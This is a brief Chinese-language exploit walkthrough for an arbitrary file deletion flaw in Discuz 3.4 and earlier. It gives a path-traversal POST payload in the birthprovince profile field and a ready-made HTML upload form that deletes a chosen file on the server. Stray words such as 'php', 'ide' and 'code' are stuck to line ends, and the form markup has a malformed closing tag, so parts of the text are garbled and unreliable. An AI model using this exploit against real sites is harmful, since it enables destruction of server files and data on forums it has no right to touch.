漏洞影響了Discuz 3.4 如下的全部版本。
該漏洞存在於upload/source/include/spacecp/spacecp_profile.php,文件中的submitcheck()函數。成功上傳文件會跳轉執行unlink這個函數。php
1.進入設置-我的資料,先在頁面源代碼找到formhash值,能夠看到值爲2599b5e5html
2.開啓一個插件Hackbar
Post數據:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=2599b5e5
ide
執行後會顯示一片空白,你再刷新下或從新訪問下就行了。函數
3.出生地被修改爲要刪除的文件。
最後構造表單執行刪除文件spa
<form action="http://192.168.199.217/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="720c16c3"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
生成.html,上面的須要本身修改。
4.而後隨便上傳一張圖片,就能刪除本身要刪除的。插件
5.再訪問回去看一下。code